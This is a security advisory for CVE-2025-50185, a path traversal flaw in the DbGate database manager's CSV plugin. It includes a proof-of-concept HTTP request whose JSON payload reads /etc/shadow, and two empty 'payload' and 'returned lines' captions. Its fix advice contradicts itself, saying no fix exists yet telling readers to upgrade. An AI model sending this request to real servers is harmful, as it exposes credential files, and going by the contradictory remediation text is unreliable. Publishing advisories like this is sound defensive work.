CVE-2025-50185 DbGate allows Unauthorized File Access via CSV Plugin
Attackers with application access can read arbitrary system files, including sensitive ones, via the CSV plugin due to insufficient path validation.
- Exploited in the wild
- Not known
- Login needed
- Any signed-in user
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- None listed
What is CVE-2025-50185?
CVE-2025-50185 is a high-severity path traversal vulnerability in dbgate, published on 26 Jul 2025. Any signed-in user can exploit it over the network, with no action from the victim.
Official description
DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue.
``` POST /runners/load-reader HTTP/1.1 Host: <REPLACE ME> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: <REPLACE ME> Content-Type: application/json Authorization: Bearer <REPLACE ME> Content-Length: 127 Origin: http://192.168.124.119:3000 Connection: keep-alive Cookie: <REPLACE ME> Priority: u=0 Cache-Control: max-age=0
{"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc\/shadow","limitRows":100}}
```
The request payload: 
Lines of the file being returned: 
Weakness: CWE-29
Which versions are affected by CVE-2025-50185?
How do I fix CVE-2025-50185?
No fix has been published for CVE-2025-50185 yet. Limit exposure of the affected software until one is available.
Upgrade, and resolve every user-supplied path against an allowed base folder before opening it. More about Path traversal.
Is CVE-2025-50185 being exploited?
It is not confirmed as exploited in the wild, but public exploit code for CVE-2025-50185 exists.
Sources
Also known as GHSA-7x75-fmx7-q6h9.